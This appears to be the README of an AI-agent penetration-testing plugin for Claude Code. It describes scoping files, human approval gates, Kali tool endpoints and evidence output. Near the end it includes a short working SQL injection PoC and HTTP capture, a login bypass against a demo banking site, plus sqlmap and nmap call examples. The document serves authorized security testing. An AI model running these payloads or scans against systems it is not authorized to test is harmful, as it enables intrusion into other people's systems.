claude-pentest Framework

Skill by ara.so — Security Skills collection.

claude-pentest is a comprehensive penetration testing framework for Claude Code that coordinates 15 specialized agents across 6 skill domains and 63 attack categories. It provides structured, human-in-the-loop, evidence-driven security assessments with automatic PoC generation, HTTP evidence capture, and Playwright screenshots.

Core Concepts

Agent Coordination Framework: Unlike traditional scanners, claude-pentest orchestrates specialized executor agents following a strict 4-phase workflow (reconnaissance → planning → approval → execution → escalation).

Human-in-the-Loop: Every exploitation attempt requires explicit operator approval. Claude cannot proceed to active exploitation without confirmation.

Evidence-First: All findings include working PoCs (poc.py), captured output (poc_output.txt), HTTP evidence, and screenshots. No theoretical findings.

Structured Outputs: Machine-readable JSON + markdown analysis written to outputs/{engagement}/.

Installation

Add Marketplace Repository

# Inside Claude Code
/plugin marketplace add Stickman230/claude-pentest

Install Plugin

# Inside Claude Code
/plugin install pentest@claude-pentest

The plugin installs to .claude/ in your project directory. All agents, skills, and slash commands become available immediately.

Optional: Kali Server (MKS)

For server-side testing (nmap, sqlmap, gobuster, Metasploit), deploy MCP-Kali-Server on a Kali Linux host:

# On Kali Linux
git clone https://github.com/Wh0am123/MCP-Kali-Server
cd MCP-Kali-Server
# Follow MCP-Kali-Server setup instructions

# In Claude Code
/pentest:pentest-kali
# Enter server URL: http://192.168.1.10:5000

Key Commands

Launch Full Engagement

/pentest:pentest

Flow:

Isolate session to pentest plugin (recommended)
Configure scope (target, engagement name, out-of-scope, time budget, auth, thoroughness)
Select attack profile (Full / Web app / API & cloud / Custom)
Configure Kali server integration (optional)
Review engagement summary
Execute: pre-flight → recon → planning → approval → executor deployment → time-budget loop → report

Session Isolation: When enabled, Claude constrains itself to pentest plugin agents only, preventing interference from other plugins.

Define Scope

/pentest:pentest-scope

Configure or update engagement scope without launching. Writes .pentest-scope.json:

{
  "target": "https://demo.testfire.net",
  "engagement_name": "altoro-mutual-pentest",
  "out_of_scope": "*.testfire.net/admin, production databases",
  "time_budget": "2 hours",
  "auth": "username: jsmith, password: demo1234",
  "thoroughness": "Medium",
  "output_formats": ["json", "markdown", "csv"],
  "status": "pending"
}

Thoroughness Levels:

Light: Quick scan, common vulnerabilities only
Medium: Standard pentest, broad coverage
Deep: Extended testing, edge cases
Full: Comprehensive, maximum time investment

Define Attack Profile

/pentest:pentest-attacks

Select which attack categories to cover. Writes .pentest-attacks.json:

{
  "mode": "web_application",
  "selected_categories": [
    "injection",
    "client_side",
    "authentication",
    "api_security",
    "business_logic"
  ],
  "skill_coordinators": [
    "injection-coordinator",
    "client-side-coordinator",
    "auth-coordinator"
  ],
  "executors": [
    "sql-injection-agent",
    "xss-agent",
    "auth-bypass-agent"
  ],
  "status": "pending"
}

Attack Profiles:

Full suite: All 63 categories (12 domains)
Web application: Injection, client-side, server-side, authentication, API, business logic
API & cloud: API security, cloud containers, IP infrastructure, CVE testing, domain recon
Custom: Multi-select from all categories

Connect Kali Server

/pentest:pentest-kali

Configures remote Metasploit-Kali Server integration. Writes .pentest-mks.json:

{
  "server_url": "http://192.168.1.10:5000",
  "status": "active",
  "tools_available": {
    "nmap": true,
    "gobuster": true,
    "dirb": true,
    "nikto": true,
    "sqlmap": true,
    "hydra": true,
    "john": true,
    "metasploit": true
  },
  "verified_at": "2026-06-08T14:30:00Z"
}

Tool Endpoints (when MKS active):

# nmap scan via MKS
curl -X POST http://192.168.1.10:5000/nmap \
  -H "Content-Type: application/json" \
  -d '{"target": "192.168.1.20", "options": "-sV -sC"}'

# sqlmap via MKS
curl -X POST http://192.168.1.10:5000/sqlmap \
  -H "Content-Type: application/json" \
  -d '{"url": "http://target.com/api?id=1", "options": "--risk=2 --level=2"}'

Exit Engagement

/pentest:pentest-exit

Flow:

Read findings from outputs/{engagement}/findings/
Flush unsaved notes to disk
Output severity-bucketed summary (Critical/High/Medium/Low/Info)
Reset .pentest-scope.json and .pentest-attacks.json to status: pending
Lift session isolation
Prompt to run /clear

Session State Files

Three JSON files at project root persist configuration:

File	Purpose	Written By
`.pentest-scope.json`	Target, timing, thoroughness	`/pentest:pentest-scope`, `/pentest:pentest`
`.pentest-attacks.json`	Attack categories, skill mapping	`/pentest:pentest-attacks`, `/pentest:pentest`
`.pentest-mks.json`	Kali server URL, tool availability	`/pentest:pentest-kali`

Agent Architecture

15 Executor Agents

Each follows 4-phase workflow:

Reconnaissance: Passive information gathering
Planning: Attack vector identification
Approval: Human-in-the-loop confirmation
Execution: Active exploitation with PoC generation

Specialized Agents:

sql-injection-agent: SQL injection testing (error-based, blind, time-based)
xss-agent: XSS testing (reflected, stored, DOM-based)
xxe-agent: XML External Entity exploitation
ssrf-agent: Server-Side Request Forgery
auth-bypass-agent: Authentication mechanism testing
api-security-agent: REST/GraphQL endpoint testing
cloud-security-agent: Cloud misconfiguration detection
cve-agent: Known vulnerability exploitation

6 Skill Coordinators

Coordinate related executors:

injection-coordinator: SQL, NoSQL, LDAP, command injection
client-side-coordinator: XSS, CSRF, clickjacking, CORS
server-side-coordinator: XXE, SSRF, file upload, deserialization
auth-coordinator: Broken auth, session management, crypto
api-coordinator: API security, GraphQL, WebSocket
infra-coordinator: Network, cloud, CVE, domain recon

Output Structure

outputs/
└── {engagement_name}/
    ├── findings/
    │   ├── finding_001_sql_injection.json
    │   ├── finding_001_poc.py
    │   ├── finding_001_poc_output.txt
    │   ├── finding_001_screenshot.png
    │   └── finding_001_http_evidence.txt
    ├── processed/
    │   ├── findings/
    │   └── analysis.json
    ├── pentest-report.json
    └── report.md

Finding Schema

{
  "finding_id": "001",
  "title": "SQL Injection in Login Form",
  "severity": "Critical",
  "cvss_score": 9.8,
  "attack_category": "injection",
  "agent": "sql-injection-agent",
  "target_url": "https://demo.testfire.net/login.jsp",
  "vulnerable_parameter": "uid",
  "attack_vector": "' OR '1'='1' --",
  "impact": "Full database access, authentication bypass",
  "poc_file": "finding_001_poc.py",
  "poc_output_file": "finding_001_poc_output.txt",
  "screenshot_file": "finding_001_screenshot.png",
  "http_evidence_file": "finding_001_http_evidence.txt",
  "remediation": "Use parameterized queries, input validation",
  "references": ["CWE-89", "OWASP A03:2021"],
  "verified_at": "2026-06-08T14:45:00Z"
}

Common Patterns

Quick Web App Pentest

# Define scope
/pentest:pentest-scope
# Enter:
# - Target: https://demo.testfire.net
# - Engagement name: altoro-quick
# - Out-of-scope: None
# - Time budget: 1 hour
# - Auth: None
# - Thoroughness: Medium
# - Formats: json, markdown

# Use web app profile (skip attack selection)
/pentest:pentest
# Select: Use Web Application profile when prompted

API Pentest with Kali Server

# Connect Kali first
/pentest:pentest-kali
# Enter: http://192.168.1.10:5000

# Define scope
/pentest:pentest-scope
# Target: https://api.example.com/v1
# Thoroughness: Deep

# Select API profile
/pentest:pentest-attacks
# Mode: API & cloud profile

# Launch
/pentest:pentest

Custom Attack Surface

# Define specific categories
/pentest:pentest-attacks
# Mode: Custom
# Select: SQL injection, SSRF, XXE, authentication bypass

/pentest:pentest

Reuse Saved Configuration

# Scope and attacks already defined in previous session
/pentest:pentest
# Responds: "Found existing scope (.pentest-scope.json)"
# Select: Reuse existing scope
# Responds: "Found existing attack profile (.pentest-attacks.json)"
# Select: Use saved profile

Time Budget and Escalation

The engagement operates within a time budget (quota) defined in scope. The orchestrator:

Allocates budget across recon, executor deployment, and escalation phases
Runs time-budget loop for escalation after initial findings
Deploys Metasploit via MKS for post-exploitation only if CVE/RCE confirmed
Never runs speculative exploitation

Example Time Budget Allocation (2 hour total):

Pre-flight: 5 minutes
Recon: 20 minutes
Planning: 10 minutes
Executor deployment: 60 minutes (parallel)
Time-budget loop (escalation): 20 minutes
Report generation: 5 minutes

Configuration Examples

Authenticated Testing

{
  "target": "https://app.example.com",
  "auth": "Bearer token: $AUTH_TOKEN (stored in env), cookie: session_id=$SESSION_ID",
  "thoroughness": "Deep"
}

Reference environment variables instead of hardcoding:

# In PoC scripts
import os

AUTH_TOKEN = os.environ.get("AUTH_TOKEN")
SESSION_ID = os.environ.get("SESSION_ID")

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Cookie": f"session_id={SESSION_ID}"
}

Multi-Target Scope

{
  "target": "https://app.example.com, https://api.example.com, 192.168.1.0/24",
  "out_of_scope": "192.168.1.1 (gateway), *.example.com/admin",
  "time_budget": "4 hours"
}

API-Specific Configuration

{
  "target": "https://api.example.com/v1",
  "auth": "API key: $API_KEY (header: X-API-Key)",
  "selected_categories": [
    "api_security",
    "injection",
    "authentication",
    "business_logic"
  ]
}

Evidence Files

PoC Script Example

finding_001_poc.py:

#!/usr/bin/env python3
import requests
import os

TARGET_URL = "https://demo.testfire.net/login.jsp"
PAYLOAD = "' OR '1'='1' --"

def exploit():
    data = {
        "uid": PAYLOAD,
        "passw": "anything"
    }
    
    response = requests.post(TARGET_URL, data=data)
    
    if "Welcome" in response.text and response.status_code == 200:
        print("[+] SQL Injection successful")
        print(f"[+] Authentication bypassed with payload: {PAYLOAD}")
        return True
    else:
        print("[-] Exploitation failed")
        return False

if __name__ == "__main__":
    exploit()

HTTP Evidence Format

finding_001_http_evidence.txt:

=== REQUEST ===
POST /login.jsp HTTP/1.1
Host: demo.testfire.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

uid=' OR '1'='1' --&passw=anything

=== RESPONSE ===
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: AltoroAccounts=...

<!DOCTYPE html>
<html>
<body>
<h1>Welcome, Admin</h1>
...

Troubleshooting

Engagement Won't Start

Symptom: /pentest:pentest fails at pre-flight check.

Solution: Verify target is reachable:

curl -I https://target.example.com

Check .pentest-scope.json for valid target format.

Kali Server Connection Failed

Symptom: MKS tools unavailable, falling back to local bash.

Solution: Test MKS connectivity:

curl http://192.168.1.10:5000/health

Verify firewall rules allow connection. Re-run /pentest:pentest-kali.

Missing Findings

Symptom: Engagement completes but outputs/{name}/findings/ is empty.

Solution: Check thoroughness level (Light may produce fewer findings). Review time budget allocation. Examine outputs/{name}/processed/analysis.json for agent logs.

PoC Scripts Fail

Symptom: poc.py returns errors when executed manually.

Solution: Install dependencies:

pip install requests playwright
python -m playwright install

Verify environment variables are set:

export AUTH_TOKEN="your_token"
export SESSION_ID="your_session"

Agent Timeout

Symptom: Executor agents timeout during deployment.

Solution: Increase time budget in scope. Reduce thoroughness level. Disable MKS if network latency is high.

Session Isolation Not Lifted

Symptom: After /pentest:pentest-exit, other plugins still unavailable.

Solution: Run /clear to fully reset context:

/clear

Attack Coverage

12 Attack Domains:

Injection: SQL, NoSQL, LDAP, OS command, SSTI, log injection
Client-Side: XSS, CSRF, clickjacking, CORS, DOM clobbering
Server-Side: XXE, SSRF, file upload, deserialization, path traversal
Authentication: Broken auth, session management, weak crypto
API Security: REST, GraphQL, WebSocket, API key exposure
Business Logic: Workflow bypass, race conditions, price manipulation
Access Control: IDOR, privilege escalation, missing function-level access control
Configuration: Security misconfiguration, default credentials, verbose errors
Cloud & Containers: S3 buckets, Docker, Kubernetes, cloud metadata
IP Infrastructure: Network scanning, service enumeration, SSL/TLS
CVE Testing: Known vulnerabilities, version detection, patch validation
Domain Recon: DNS enumeration, subdomain discovery, certificate transparency

63 Sub-Categories mapped to specific executor agents and skill coordinators.

Legal and Ethical Use

ALWAYS obtain written permission before testing any system you do not own.

claude-pentest is designed for:

Authorized penetration testing engagements
Bug bounty programs (within scope)
Security research in controlled environments
Red team exercises with proper authorization

Unauthorized use is illegal and unethical.

Integration with Claude Code

The framework is designed to work within Claude Code's agent harness:

One level of subagent nesting: /pentest:pentest orchestrates from main session
Slash command discovery: Commands auto-register with Claude Code
Session isolation: Prevents plugin interference during active engagements
Context window management: /clear recommended between engagements

When active, claude-pentest coordinates all testing activities through structured workflows, ensuring evidence capture, human approval gates, and organized output for every finding.

claude-pentest-framework